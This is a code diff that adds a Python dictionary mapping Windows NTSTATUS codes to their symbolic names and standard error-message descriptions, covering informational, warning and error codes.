+        0x40000000: ("STATUS_OBJECT_NAME_EXISTS","{Object Exists} An attempt was made to create an object but the object name already exists."),
+        0x40000001: ("STATUS_THREAD_WAS_SUSPENDED","{Thread Suspended} A thread termination occurred while the thread was suspended. The thread resumed, and termination proceeded."),
+        0x40000002: ("STATUS_WORKING_SET_LIMIT_RANGE","{Working Set Range Error} An attempt was made to set the working set minimum or maximum to values that are outside the allowable range."),
+        0x40000003: ("STATUS_IMAGE_NOT_AT_BASE","{Image Relocated} An image file could not be mapped at the address that is specified in the image file. Local fixes must be performed on this image."),
+        0x40000004: ("STATUS_RXACT_STATE_CREATED","This informational level status indicates that a specified registry subtree transaction state did not yet exist and had to be created."),
+        0x40000005: ("STATUS_SEGMENT_NOTIFICATION","{Segment Load} A virtual DOS machine (VDM) is loading, unloading, or moving an MS-DOS or Win16 program segment image. An exception is raised so that a debugger can load, unload, or track symbols and breakpoints within these 16-bit segments."),
+        0x40000006: ("STATUS_LOCAL_USER_SESSION_KEY","{Local Session Key} A user session key was requested for a local remote procedure call (RPC) connection. The session key that is returned is a constant value and not unique to this connection."),
+        0x40000007: ("STATUS_BAD_CURRENT_DIRECTORY","{Invalid Current Directory} The process cannot switch to the startup current directory %hs. Select OK to set the current directory to %hs, or select CANCEL to exit."),
+        0x40000008: ("STATUS_SERIAL_MORE_WRITES","{Serial IOCTL Complete} A serial I/O operation was completed by another write to a serial port. (The IOCTL_SERIAL_XOFF_COUNTER reached zero.)"),
+        0x40000009: ("STATUS_REGISTRY_RECOVERED","{Registry Recovery} One of the files that contains the system registry data had to be recovered by using a log or alternate copy. The recovery was successful."),
+        0x4000000A: ("STATUS_FT_READ_RECOVERY_FROM_BACKUP","{Redundant Read} To satisfy a read request, the Windows NT fault-tolerant file system successfully read the requested data from a redundant copy. This was done because the file system encountered a failure on a member of the fault-tolerant volume but was unable to reassign the failing area of the device."),
+        0x4000000B: ("STATUS_FT_WRITE_RECOVERY","{Redundant Write} To satisfy a write request, the Windows NT fault-tolerant file system successfully wrote a redundant copy of the information. This was done because the file system encountered a failure on a member of the fault-tolerant volume but was unable to reassign the failing area of the device."),
+        0x4000000C: ("STATUS_SERIAL_COUNTER_TIMEOUT","{Serial IOCTL Timeout} A serial I/O operation completed because the time-out period expired. (The IOCTL_SERIAL_XOFF_COUNTER had not reached zero.)"),
+        0x4000000D: ("STATUS_NULL_LM_PASSWORD","{Password Too Complex} The Windows password is too complex to be converted to a LAN Manager password. The LAN Manager password that returned is a NULL string."),
+        0x4000000E: ("STATUS_IMAGE_MACHINE_TYPE_MISMATCH","{Machine Type Mismatch} The image file %hs is valid but is for a machine type other than the current machine. Select OK to continue, or CANCEL to fail the DLL load."),
+        0x4000000F: ("STATUS_RECEIVE_PARTIAL","{Partial Data Received} The network transport returned partial data to its client. The remaining data will be sent later."),
+        0x40000010: ("STATUS_RECEIVE_EXPEDITED","{Expedited Data Received} The network transport returned data to its client that was marked as expedited by the remote system."),
+        0x40000011: ("STATUS_RECEIVE_PARTIAL_EXPEDITED","{Partial Expedited Data Received} The network transport returned partial data to its client and this data was marked as expedited by the remote system. The remaining data will be sent later."),
+        0x40000012: ("STATUS_EVENT_DONE","{TDI Event Done} The TDI indication has completed successfully."),
+        0x40000013: ("STATUS_EVENT_PENDING","{TDI Event Pending} The TDI indication has entered the pending state."),
+        0x40000014: ("STATUS_CHECKING_FILE_SYSTEM","Checking file system on %wZ."),
+        0x40000015: ("STATUS_FATAL_APP_EXIT","{Fatal Application Exit} %hs"),
+        0x40000016: ("STATUS_PREDEFINED_HANDLE","The specified registry key is referenced by a predefined handle."),
+        0x40000017: ("STATUS_WAS_UNLOCKED","{Page Unlocked} The page protection of a locked page was changed to 'No Access' and the page was unlocked from memory and from the process."),
+        0x40000018: ("STATUS_SERVICE_NOTIFICATION","%hs"),
+        0x40000019: ("STATUS_WAS_LOCKED","{Page Locked} One of the pages to lock was already locked."),
+        0x4000001A: ("STATUS_LOG_HARD_ERROR","Application popup: %1 : %2"),
+        0x4000001B: ("STATUS_ALREADY_WIN32","A Win32 process already exists."),
+        0x4000001C: ("STATUS_WX86_UNSIMULATE","An exception status code that is used by the Win32 x86 emulation subsystem."),
+        0x4000001D: ("STATUS_WX86_CONTINUE","An exception status code that is used by the Win32 x86 emulation subsystem."),
+        0x4000001E: ("STATUS_WX86_SINGLE_STEP","An exception status code that is used by the Win32 x86 emulation subsystem."),
+        0x4000001F: ("STATUS_WX86_BREAKPOINT","An exception status code that is used by the Win32 x86 emulation subsystem."),
+        0x40000020: ("STATUS_WX86_EXCEPTION_CONTINUE","An exception status code that is used by the Win32 x86 emulation subsystem."),
+        0x40000021: ("STATUS_WX86_EXCEPTION_LASTCHANCE","An exception status code that is used by the Win32 x86 emulation subsystem."),
+        0x40000022: ("STATUS_WX86_EXCEPTION_CHAIN","An exception status code that is used by the Win32 x86 emulation subsystem."),
+        0x40000023: ("STATUS_IMAGE_MACHINE_TYPE_MISMATCH_EXE","{Machine Type Mismatch} The image file %hs is valid but is for a machine type other than the current machine."),
+        0x40000024: ("STATUS_NO_YIELD_PERFORMED","A yield execution was performed and no thread was available to run."),
+        0x40000025: ("STATUS_TIMER_RESUME_IGNORED","The resume flag to a timer API was ignored."),
+        0x40000026: ("STATUS_ARBITRATION_UNHANDLED","The arbiter has deferred arbitration of these resources to its parent."),
+        0x40000027: ("STATUS_CARDBUS_NOT_SUPPORTED","The device has detected a CardBus card in its slot."),
+        0x40000028: ("STATUS_WX86_CREATEWX86TIB","An exception status code that is used by the Win32 x86 emulation subsystem."),
+        0x40000029: ("STATUS_MP_PROCESSOR_MISMATCH","The CPUs in this multiprocessor system are not all the same revision level. To use all processors, the operating system restricts itself to the features of the least capable processor in the system. If problems occur with this system, contact the CPU manufacturer to see if this mix of processors is supported."),
+        0x4000002A: ("STATUS_HIBERNATED","The system was put into hibernation."),
+        0x4000002B: ("STATUS_RESUME_HIBERNATION","The system was resumed from hibernation."),
+        0x4000002C: ("STATUS_FIRMWARE_UPDATED","Windows has detected that the system firmware (BIOS) was updated [previous firmware date = %2, current firmware date %3]."),
+        0x4000002D: ("STATUS_DRIVERS_LEAKING_LOCKED_PAGES","A device driver is leaking locked I/O pages and is causing system degradation. The system has automatically enabled the tracking code to try and catch the culprit."),
+        0x4000002E: ("STATUS_MESSAGE_RETRIEVED","The ALPC message being canceled has already been retrieved from the queue on the other side."),
+        0x4000002F: ("STATUS_SYSTEM_POWERSTATE_TRANSITION","The system power state is transitioning from %2 to %3."),
+        0x40000030: ("STATUS_ALPC_CHECK_COMPLETION_LIST","The receive operation was successful. Check the ALPC completion list for the received message."),
+        0x40000031: ("STATUS_SYSTEM_POWERSTATE_COMPLEX_TRANSITION","The system power state is transitioning from %2 to %3 but could enter %4."),
+        0x40000032: ("STATUS_ACCESS_AUDIT_BY_POLICY","Access to %1 is monitored by policy rule %2."),
+        0x40000033: ("STATUS_ABANDON_HIBERFILE","A valid hibernation file has been invalidated and should be abandoned."),
+        0x40000034: ("STATUS_BIZRULES_NOT_ENABLED","Business rule scripts are disabled for the calling application."),
+        0x40000294: ("STATUS_WAKE_SYSTEM","The system has awoken."),
+        0x40000370: ("STATUS_DS_SHUTTING_DOWN","The directory service is shutting down."),
+        0x40010001: ("DBG_REPLY_LATER","Debugger will reply later."),
+        0x40010002: ("DBG_UNABLE_TO_PROVIDE_HANDLE","Debugger cannot provide a handle."),
+        0x40010003: ("DBG_TERMINATE_THREAD","Debugger terminated the thread."),
+        0x40010004: ("DBG_TERMINATE_PROCESS","Debugger terminated the process."),
+        0x40010005: ("DBG_CONTROL_C","Debugger obtained control of C."),
+        0x40010006: ("DBG_PRINTEXCEPTION_C","Debugger printed an exception on control C."),
+        0x40010007: ("DBG_RIPEXCEPTION","Debugger received a RIP exception."),
+        0x40010008: ("DBG_CONTROL_BREAK","Debugger received a control break."),
+        0x40010009: ("DBG_COMMAND_EXCEPTION","Debugger command communication exception."),
+        0x40020056: ("RPC_NT_UUID_LOCAL_ONLY","A UUID that is valid only on this computer has been allocated."),
+        0x400200AF: ("RPC_NT_SEND_INCOMPLETE","Some data remains to be sent in the request buffer."),
+        0x400A0004: ("STATUS_CTX_CDM_CONNECT","The Client Drive Mapping Service has connected on Terminal Connection."),
+        0x400A0005: ("STATUS_CTX_CDM_DISCONNECT","The Client Drive Mapping Service has disconnected on Terminal Connection."),
+        0x4015000D: ("STATUS_SXS_RELEASE_ACTIVATION_CONTEXT","A kernel mode component is releasing a reference on an activation context."),
+        0x40190034: ("STATUS_RECOVERY_NOT_NEEDED","The transactional resource manager is already consistent. Recovery is not needed."),
+        0x40190035: ("STATUS_RM_ALREADY_STARTED","The transactional resource manager has already been started."),
+        0x401A000C: ("STATUS_LOG_NO_RESTART","The log service encountered a log stream with no restart area."),
+        0x401B00EC: ("STATUS_VIDEO_DRIVER_DEBUG_REPORT_REQUEST","{Display Driver Recovered From Failure} The %hs display driver has detected a failure and recovered from it. Some graphical operations may have failed. The next time you restart the machine, a dialog box appears, giving you an opportunity to upload data about this failure to Microsoft."),
+        0x401E000A: ("STATUS_GRAPHICS_PARTIAL_DATA_POPULATED","The specified buffer is not big enough to contain the entire requested dataset. Partial data is populated up to the size of the buffer. The caller needs to provide a buffer of the size as specified in the partially populated buffer's content (interface specific)."),
+        0x401E0117: ("STATUS_GRAPHICS_DRIVER_MISMATCH","The kernel driver detected a version mismatch between it and the user mode driver."),
+        0x401E0307: ("STATUS_GRAPHICS_MODE_NOT_PINNED","No mode is pinned on the specified VidPN source/target."),
+        0x401E031E: ("STATUS_GRAPHICS_NO_PREFERRED_MODE","The specified mode set does not specify a preference for one of its modes."),
+        0x401E034B: ("STATUS_GRAPHICS_DATASET_IS_EMPTY","The specified dataset (for example, mode set, frequency range set, descriptor set, or topology) is empty."),
+        0x401E034C: ("STATUS_GRAPHICS_NO_MORE_ELEMENTS_IN_DATASET","The specified dataset (for example, mode set, frequency range set, descriptor set, or topology) does not contain any more elements."),
+        0x401E0351: ("STATUS_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_PINNED","The specified content transformation is not pinned on the specified VidPN present path."),
+        0x401E042F: ("STATUS_GRAPHICS_UNKNOWN_CHILD_STATUS","The child device presence was not reliably detected."),
+        0x401E0437: ("STATUS_GRAPHICS_LEADLINK_START_DEFERRED","Starting the lead adapter in a linked configuration has been temporarily deferred."),
+        0x401E0439: ("STATUS_GRAPHICS_POLLING_TOO_FREQUENTLY","The display adapter is being polled for children too frequently at the same polling level."),
+        0x401E043A: ("STATUS_GRAPHICS_START_DEFERRED","Starting the adapter has been temporarily deferred."),
+        0x40230001: ("STATUS_NDIS_INDICATION_REQUIRED","The request will be completed later by an NDIS status indication."),
+        0x80000001: ("STATUS_GUARD_PAGE_VIOLATION","{EXCEPTION} Guard Page Exception A page of memory that marks the end of a data structure, such as a stack or an array, has been accessed."),
+        0x80000002: ("STATUS_DATATYPE_MISALIGNMENT","{EXCEPTION} Alignment Fault A data type misalignment was detected in a load or store instruction."),
+        0x80000003: ("STATUS_BREAKPOINT","{EXCEPTION} Breakpoint A breakpoint has been reached."),
+        0x80000004: ("STATUS_SINGLE_STEP","{EXCEPTION} Single Step A single step or trace operation has just been completed."),
+        0x80000005: ("STATUS_BUFFER_OVERFLOW","{Buffer Overflow} The data was too large to fit into the specified buffer."),
+        0x80000006: ("STATUS_NO_MORE_FILES","{No More Files} No more files were found which match the file specification."),
+        0x80000007: ("STATUS_WAKE_SYSTEM_DEBUGGER","{Kernel Debugger Awakened} The system debugger was awakened by an interrupt."),
+        0x8000000A: ("STATUS_HANDLES_CLOSED","{Handles Closed} Handles to objects have been automatically closed because of the requested operation."),
+        0x8000000B: ("STATUS_NO_INHERITANCE","{Non-Inheritable ACL} An access control list (ACL) contains no components that can be inherited."),
+        0x8000000C: ("STATUS_GUID_SUBSTITUTION_MADE","{GUID Substitution} During the translation of a globally unique identifier (GUID) to a Windows security ID (SID), no administratively defined GUID prefix was found. A substitute prefix was used, which will not compromise system security. However, this may provide a more restrictive access than intended."),
+        0x8000000D: ("STATUS_PARTIAL_COPY","Because of protection conflicts, not all the requested bytes could be copied."),
+        0x8000000E: ("STATUS_DEVICE_PAPER_EMPTY","{Out of Paper} The printer is out of paper."),
+        0x8000000F: ("STATUS_DEVICE_POWERED_OFF","{Device Power Is Off} The printer power has been turned off."),
+        0x80000010: ("STATUS_DEVICE_OFF_LINE","{Device Offline} The printer has been taken offline."),
+        0x80000011: ("STATUS_DEVICE_BUSY","{Device Busy} The device is currently busy."),
+        0x80000012: ("STATUS_NO_MORE_EAS","{No More EAs} No more extended attributes (EAs) were found for the file."),
+        0x80000013: ("STATUS_INVALID_EA_NAME","{Illegal EA} The specified extended attribute (EA) name contains at least one illegal character."),
+        0x80000014: ("STATUS_EA_LIST_INCONSISTENT","{Inconsistent EA List} The extended attribute (EA) list is inconsistent."),
+        0x80000015: ("STATUS_INVALID_EA_FLAG","{Invalid EA Flag} An invalid extended attribute (EA) flag was set."),
+        0x80000016: ("STATUS_VERIFY_REQUIRED","{Verifying Disk} The media has changed and a verify operation is in progress; therefore, no reads or writes may be performed to the device, except those that are used in the verify operation."),
+        0x80000017: ("STATUS_EXTRANEOUS_INFORMATION","{Too Much Information} The specified access control list (ACL) contained more information than was expected."),
+        0x80000018: ("STATUS_RXACT_COMMIT_NECESSARY","This warning level status indicates that the transaction state already exists for the registry subtree, but that a transaction commit was previously aborted. The commit has NOT been completed but has not been rolled back either; therefore, it may still be committed, if needed."),
+        0x8000001A: ("STATUS_NO_MORE_ENTRIES","{No More Entries} No more entries are available from an enumeration operation."),
+        0x8000001B: ("STATUS_FILEMARK_DETECTED","{Filemark Found} A filemark was detected."),
+        0x8000001C: ("STATUS_MEDIA_CHANGED","{Media Changed} The media may have changed."),
+        0x8000001D: ("STATUS_BUS_RESET","{I/O Bus Reset} An I/O bus reset was detected."),
+        0x8000001E: ("STATUS_END_OF_MEDIA","{End of Media} The end of the media was encountered."),
+        0x8000001F: ("STATUS_BEGINNING_OF_MEDIA","The beginning of a tape or partition has been detected."),
+        0x80000020: ("STATUS_MEDIA_CHECK","{Media Changed} The media may have changed."),
+        0x80000021: ("STATUS_SETMARK_DETECTED","A tape access reached a set mark."),
+        0x80000022: ("STATUS_NO_DATA_DETECTED","During a tape access, the end of the data written is reached."),
+        0x80000023: ("STATUS_REDIRECTOR_HAS_OPEN_HANDLES","The redirector is in use and cannot be unloaded."),
+        0x80000024: ("STATUS_SERVER_HAS_OPEN_HANDLES","The server is in use and cannot be unloaded."),
+        0x80000025: ("STATUS_ALREADY_DISCONNECTED","The specified connection has already been disconnected."),
+        0x80000026: ("STATUS_LONGJUMP","A long jump has been executed."),
+        0x80000027: ("STATUS_CLEANER_CARTRIDGE_INSTALLED","A cleaner cartridge is present in the tape library."),
+        0x80000028: ("STATUS_PLUGPLAY_QUERY_VETOED","The Plug and Play query operation was not successful."),
+        0x80000029: ("STATUS_UNWIND_CONSOLIDATE","A frame consolidation has been executed."),
+        0x8000002A: ("STATUS_REGISTRY_HIVE_RECOVERED","{Registry Hive Recovered} The registry hive (file): %hs was corrupted and it has been recovered. Some data might have been lost."),
+        0x8000002B: ("STATUS_DLL_MIGHT_BE_INSECURE","The application is attempting to run executable code from the module %hs. This may be insecure. An alternative, %hs, is available. Should the application use the secure module %hs?"),
+        0x8000002C: ("STATUS_DLL_MIGHT_BE_INCOMPATIBLE","The application is loading executable code from the module %hs. This is secure but may be incompatible with previous releases of the operating system. An alternative, %hs, is available. Should the application use the secure module %hs?"),
+        0x8000002D: ("STATUS_STOPPED_ON_SYMLINK","The create operation stopped after reaching a symbolic link."),
+        0x80000288: ("STATUS_DEVICE_REQUIRES_CLEANING","The device has indicated that cleaning is necessary."),
+        0x80000289: ("STATUS_DEVICE_DOOR_OPEN","The device has indicated that its door is open. Further operations require it closed and secured."),
+        0x80000803: ("STATUS_DATA_LOST_REPAIR","Windows discovered a corruption in the file %hs. This file has now been repaired. Check if any data in the file was lost because of the corruption."),
+        0x80010001: ("DBG_EXCEPTION_NOT_HANDLED","Debugger did not handle the exception."),
+        0x80130001: ("STATUS_CLUSTER_NODE_ALREADY_UP","The cluster node is already up."),
+        0x80130002: ("STATUS_CLUSTER_NODE_ALREADY_DOWN","The cluster node is already down."),
+        0x80130003: ("STATUS_CLUSTER_NETWORK_ALREADY_ONLINE","The cluster network is already online."),
+        0x80130004: ("STATUS_CLUSTER_NETWORK_ALREADY_OFFLINE","The cluster network is already offline."),
+        0x80130005: ("STATUS_CLUSTER_NODE_ALREADY_MEMBER","The cluster node is already a member of the cluster."),
+        0x80190009: ("STATUS_COULD_NOT_RESIZE_LOG","The log could not be set to the requested size."),
+        0x80190029: ("STATUS_NO_TXF_METADATA","There is no transaction metadata on the file."),
+        0x80190031: ("STATUS_CANT_RECOVER_WITH_HANDLE_OPEN","The file cannot be recovered because there is a handle still open on it."),
+        0x80190041: ("STATUS_TXF_METADATA_ALREADY_PRESENT","Transaction metadata is already present on this file and cannot be superseded."),
+        0x80190042: ("STATUS_TRANSACTION_SCOPE_CALLBACKS_NOT_SET","A transaction scope could not be entered because the scope handler has not been initialized."),
+        0x801B00EB: ("STATUS_VIDEO_HUNG_DISPLAY_DRIVER_THREAD_RECOVERED","{Display Driver Stopped Responding and recovered} The %hs display driver has stopped working normally. The recovery had been performed."),
+        0x801C0001: ("STATUS_FLT_BUFFER_TOO_SMALL","{Buffer too small} The buffer is too small to contain the entry. No information has been written to the buffer."),
+        0x80210001: ("STATUS_FVE_PARTIAL_METADATA","Volume metadata read or write is incomplete."),
+        0x80210002: ("STATUS_FVE_TRANSIENT_STATE","BitLocker encryption keys were ignored because the volume was in a transient state."),
+        0xC0000001: ("STATUS_UNSUCCESSFUL","{Operation Failed} The requested operation was unsuccessful."),
+        0xC0000002: ("STATUS_NOT_IMPLEMENTED","{Not Implemented} The requested operation is not implemented."),
+        0xC0000003: ("STATUS_INVALID_INFO_CLASS","{Invalid Parameter} The specified information class is not a valid information class for the specified object."),
+        0xC0000004: ("STATUS_INFO_LENGTH_MISMATCH","The specified information record length does not match the length that is required for the specified information class."),
+        0xC0000005: ("STATUS_ACCESS_VIOLATION","The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s."),
+        0xC0000006: ("STATUS_IN_PAGE_ERROR","The instruction at 0x%08lx referenced memory at 0x%08lx. The required data was not placed into memory because of an I/O error status of 0x%08lx."),
+        0xC0000007: ("STATUS_PAGEFILE_QUOTA","The page file quota for the process has been exhausted."),
+        0xC0000008: ("STATUS_INVALID_HANDLE","An invalid HANDLE was specified."),
+        0xC0000009: ("STATUS_BAD_INITIAL_STACK","An invalid initial stack was specified in a call to NtCreateThread."),
+        0xC000000A: ("STATUS_BAD_INITIAL_PC","An invalid initial start address was specified in a call to NtCreateThread."),
+        0xC000000B: ("STATUS_INVALID_CID","An invalid client ID was specified."),
+        0xC000000C: ("STATUS_TIMER_NOT_CANCELED","An attempt was made to cancel or set a timer that has an associated APC and the specified thread is not the thread that originally set the timer with an associated APC routine."),
+        0xC000000D: ("STATUS_INVALID_PARAMETER","An invalid parameter was passed to a service or function."),
+        0xC000000E: ("STATUS_NO_SUCH_DEVICE","A device that does not exist was specified."),
+        0xC000000F: ("STATUS_NO_SUCH_FILE","{File Not Found} The file %hs does not exist."),
+        0xC0000010: ("STATUS_INVALID_DEVICE_REQUEST","The specified request is not a valid operation for the target device."),
+        0xC0000011: ("STATUS_END_OF_FILE","The end-of-file marker has been reached. There is no valid data in the file beyond this marker."),
+        0xC0000012: ("STATUS_WRONG_VOLUME","{Wrong Volume} The wrong volume is in the drive. Insert volume %hs into drive %hs."),
+        0xC0000013: ("STATUS_NO_MEDIA_IN_DEVICE","{No Disk} There is no disk in the drive. Insert a disk into drive %hs."),
+        0xC0000014: ("STATUS_UNRECOGNIZED_MEDIA","{Unknown Disk Format} The disk in drive %hs is not formatted properly. Check the disk, and reformat it, if needed."),
+        0xC0000015: ("STATUS_NONEXISTENT_SECTOR","{Sector Not Found} The specified sector does not exist."),
+        0xC0000016: ("STATUS_MORE_PROCESSING_REQUIRED","{Still Busy} The specified I/O request packet (IRP) cannot be disposed of because the I/O operation is not complete."),
+        0xC0000017: ("STATUS_NO_MEMORY","{Not Enough Quota} Not enough virtual memory or paging file quota is available to complete the specified operation."),
+        0xC0000018: ("STATUS_CONFLICTING_ADDRESSES","{Conflicting Address Range} The specified address range conflicts with the address space."),
+        0xC0000019: ("STATUS_NOT_MAPPED_VIEW","The address range to unmap is not a mapped view."),
+        0xC000001A: ("STATUS_UNABLE_TO_FREE_VM","The virtual memory cannot be freed."),
+        0xC000001B: ("STATUS_UNABLE_TO_DELETE_SECTION","The specified section cannot be deleted."),
+        0xC000001C: ("STATUS_INVALID_SYSTEM_SERVICE","An invalid system service was specified in a system service call."),
+        0xC000001D: ("STATUS_ILLEGAL_INSTRUCTION","{EXCEPTION} Illegal Instruction An attempt was made to execute an illegal instruction."),
+        0xC000001E: ("STATUS_INVALID_LOCK_SEQUENCE","{Invalid Lock Sequence} An attempt was made to execute an invalid lock sequence."),
+        0xC000001F: ("STATUS_INVALID_VIEW_SIZE","{Invalid Mapping} An attempt was made to create a view for a section that is bigger than the section."),
+        0xC0000020: ("STATUS_INVALID_FILE_FOR_SECTION","{Bad File} The attributes of the specified mapping file for a section of memory cannot be read."),
+        0xC0000021: ("STATUS_ALREADY_COMMITTED","{Already Committed} The specified address range is already committed."),
+        0xC0000022: ("STATUS_ACCESS_DENIED","{Access Denied} A process has requested access to an object but has not been granted those access rights."),
+        0xC0000023: ("STATUS_BUFFER_TOO_SMALL","{Buffer Too Small} The buffer is too small to contain the entry. No information has been written to the buffer."),
+        0xC0000024: ("STATUS_OBJECT_TYPE_MISMATCH","{Wrong Type} There is a mismatch between the type of object that is required by the requested operation and the type of object that is specified in the request."),
+        0xC0000025: ("STATUS_NONCONTINUABLE_EXCEPTION","{EXCEPTION} Cannot Continue Windows cannot continue from this exception."),
+        0xC0000026: ("STATUS_INVALID_DISPOSITION","An invalid exception disposition was returned by an exception handler."),
+        0xC0000027: ("STATUS_UNWIND","Unwind exception code."),
+        0xC0000028: ("STATUS_BAD_STACK","An invalid or unaligned stack was encountered during an unwind operation."),
+        0xC0000029: ("STATUS_INVALID_UNWIND_TARGET","An invalid unwind target was encountered during an unwind operation."),
+        0xC000002A: ("STATUS_NOT_LOCKED","An attempt was made to unlock a page of memory that was not locked."),
+        0xC000002B: ("STATUS_PARITY_ERROR","A device parity error on an I/O operation."),
+        0xC000002C: ("STATUS_UNABLE_TO_DECOMMIT_VM","An attempt was made to decommit uncommitted virtual memory."),
+        0xC000002D: ("STATUS_NOT_COMMITTED","An attempt was made to change the attributes on memory that has not been committed."),
+        0xC000002E: ("STATUS_INVALID_PORT_ATTRIBUTES","Invalid object attributes specified to NtCreatePort or invalid port attributes specified to NtConnectPort."),
+        0xC000002F: ("STATUS_PORT_MESSAGE_TOO_LONG","The length of the message that was passed to NtRequestPort or NtRequestWaitReplyPort is longer than the maximum message that is allowed by the port."),
+        0xC0000030: ("STATUS_INVALID_PARAMETER_MIX","An invalid combination of parameters was specified."),
+        0xC0000031: ("STATUS_INVALID_QUOTA_LOWER","An attempt was made to lower a quota limit below the current usage."),
+        0xC0000032: ("STATUS_DISK_CORRUPT_ERROR","{Corrupt Disk} The file system structure on the disk is corrupt and unusable. Run the Chkdsk utility on the volume %hs."),
+        0xC0000033: ("STATUS_OBJECT_NAME_INVALID","The object name is invalid."),
+        0xC0000034: ("STATUS_OBJECT_NAME_NOT_FOUND","The object name is not found."),
+        0xC0000035: ("STATUS_OBJECT_NAME_COLLISION","The object name already exists."),
+        0xC0000037: ("STATUS_PORT_DISCONNECTED","An attempt was made to send a message to a disconnected communication port."),
+        0xC0000038: ("STATUS_DEVICE_ALREADY_ATTACHED","An attempt was made to attach to a device that was already attached to another device."),
+        0xC0000039: ("STATUS_OBJECT_PATH_INVALID","The object path component was not a directory object."),
+        0xC000003A: ("STATUS_OBJECT_PATH_NOT_FOUND","{Path Not Found} The path %hs does not exist."),
+        0xC000003B: ("STATUS_OBJECT_PATH_SYNTAX_BAD","The object path component was not a directory object."),
+        0xC000003C: ("STATUS_DATA_OVERRUN","{Data Overrun} A data overrun error occurred."),
+        0xC000003D: ("STATUS_DATA_LATE_ERROR","{Data Late} A data late error occurred."),
+        0xC000003E: ("STATUS_DATA_ERROR","{Data Error} An error occurred in reading or writing data."),
+        0xC000003F: ("STATUS_CRC_ERROR","{Bad CRC} A cyclic redundancy check (CRC) checksum error occurred."),
+        0xC0000040: ("STATUS_SECTION_TOO_BIG","{Section Too Large} The specified section is too big to map the file."),
+        0xC0000041: ("STATUS_PORT_CONNECTION_REFUSED","The NtConnectPort request is refused."),
+        0xC0000042: ("STATUS_INVALID_PORT_HANDLE","The type of port handle is invalid for the operation that is requested."),
+        0xC0000043: ("STATUS_SHARING_VIOLATION","A file cannot be opened because the share access flags are incompatible."),
+        0xC0000044: ("STATUS_QUOTA_EXCEEDED","Insufficient quota exists to complete the operation."),
+        0xC0000045: ("STATUS_INVALID_PAGE_PROTECTION","The specified page protection was not valid."),
+        0xC0000046: ("STATUS_MUTANT_NOT_OWNED","An attempt to release a mutant object was made by a thread that was not the owner of the mutant object."),
+        0xC0000047: ("STATUS_SEMAPHORE_LIMIT_EXCEEDED","An attempt was made to release a semaphore such that its maximum count would have been exceeded."),
+        0xC0000048: ("STATUS_PORT_ALREADY_SET","An attempt was made to set the DebugPort or ExceptionPort of a process, but a port already exists in the process, or an attempt was made to set the CompletionPort of a file but a port was already set in the file, or an attempt was made to set the associated completion port of an ALPC port but it is already set."),
+        0xC0000049: ("STATUS_SECTION_NOT_IMAGE","An attempt was made to query image information on a section that does not map an image."),
+        0xC000004A: ("STATUS_SUSPEND_COUNT_EXCEEDED","An attempt was made to suspend a thread whose suspend count was at its maximum."),
+        0xC000004B: ("STATUS_THREAD_IS_TERMINATING","An attempt was made to suspend a thread that has begun termination."),
+        0xC000004C: ("STATUS_BAD_WORKING_SET_LIMIT","An attempt was made to set the working set limit to an invalid value (for example, the minimum greater than maximum)."),
+        0xC000004D: ("STATUS_INCOMPATIBLE_FILE_MAP","A section was created to map a file that is not compatible with an already existing section that maps the same file."),
+        0xC000004E: ("STATUS_SECTION_PROTECTION","A view to a section specifies a protection that is incompatible with the protection of the initial view."),
+        0xC000004F: ("STATUS_EAS_NOT_SUPPORTED","An operation involving EAs failed because the file system does not support EAs."),
+        0xC0000050: ("STATUS_EA_TOO_LARGE","An EA operation failed because the EA set is too large."),
+        0xC0000051: ("STATUS_NONEXISTENT_EA_ENTRY","An EA operation failed because the name or EA index is invalid."),
+        0xC0000052: ("STATUS_NO_EAS_ON_FILE","The file for which EAs were requested has no EAs."),
+        0xC0000053: ("STATUS_EA_CORRUPT_ERROR","The EA is corrupt and cannot be read."),
+        0xC0000054: ("STATUS_FILE_LOCK_CONFLICT","A requested read/write cannot be granted due to a conflicting file lock."),
+        0xC0000055: ("STATUS_LOCK_NOT_GRANTED","A requested file lock cannot be granted due to other existing locks."),
+        0xC0000056: ("STATUS_DELETE_PENDING","A non-close operation has been requested of a file object that has a delete pending."),
+        0xC0000057: ("STATUS_CTL_FILE_NOT_SUPPORTED","An attempt was made to set the control attribute on a file. This attribute is not supported in the destination file system."),
+        0xC0000058: ("STATUS_UNKNOWN_REVISION","Indicates a revision number that was encountered or specified is not one that is known by the service. It may be a more recent revision than the service is aware of."),
+        0xC0000059: ("STATUS_REVISION_MISMATCH","Indicates that two revision levels are incompatible."),
+        0xC000005A: ("STATUS_INVALID_OWNER","Indicates a particular security ID may not be assigned as the owner of an object."),
+        0xC000005B: ("STATUS_INVALID_PRIMARY_GROUP","Indicates a particular security ID may not be assigned as the primary group of an object."),
+        0xC000005C: ("STATUS_NO_IMPERSONATION_TOKEN","An attempt has been made to operate on an impersonation token by a thread that is not currently impersonating a client."),
+        0xC000005D: ("STATUS_CANT_DISABLE_MANDATORY","A mandatory group may not be disabled."),
+        0xC000005E: ("STATUS_NO_LOGON_SERVERS","No logon servers are currently available to service the logon request."),
+        0xC000005F: ("STATUS_NO_SUCH_LOGON_SESSION","A specified logon session does not exist. It may already have been terminated."),
+        0xC0000060: ("STATUS_NO_SUCH_PRIVILEGE","A specified privilege does not exist."),
+        0xC0000061: ("STATUS_PRIVILEGE_NOT_HELD","A required privilege is not held by the client."),
+        0xC0000062: ("STATUS_INVALID_ACCOUNT_NAME","The name provided is not a properly formed account name."),
+        0xC0000063: ("STATUS_USER_EXISTS","The specified account already exists."),
+        0xC0000064: ("STATUS_NO_SUCH_USER","The specified account does not exist."),
+        0xC0000065: ("STATUS_GROUP_EXISTS","The specified group already exists."),
+        0xC0000066: ("STATUS_NO_SUCH_GROUP","The specified group does not exist."),
+        0xC0000067: ("STATUS_MEMBER_IN_GROUP","The specified user account is already in the specified group account. Also used to indicate a group cannot be deleted because it contains a member."),
+        0xC0000068: ("STATUS_MEMBER_NOT_IN_GROUP","The specified user account is not a member of the specified group account."),
+        0xC0000069: ("STATUS_LAST_ADMIN","Indicates the requested operation would disable or delete the last remaining administration account. This is not allowed to prevent creating a situation in which the system cannot be administrated."),
+        0xC000006A: ("STATUS_WRONG_PASSWORD","When trying to update a password, this return status indicates that the value provided as the current password is not correct."),
+        0xC000006B: ("STATUS_ILL_FORMED_PASSWORD","When trying to update a password, this return status indicates that the value provided for the new password contains values that are not allowed in passwords."),
+        0xC000006C: ("STATUS_PASSWORD_RESTRICTION","When trying to update a password, this status indicates that some password update rule has been violated. For example, the password may not meet length criteria."),
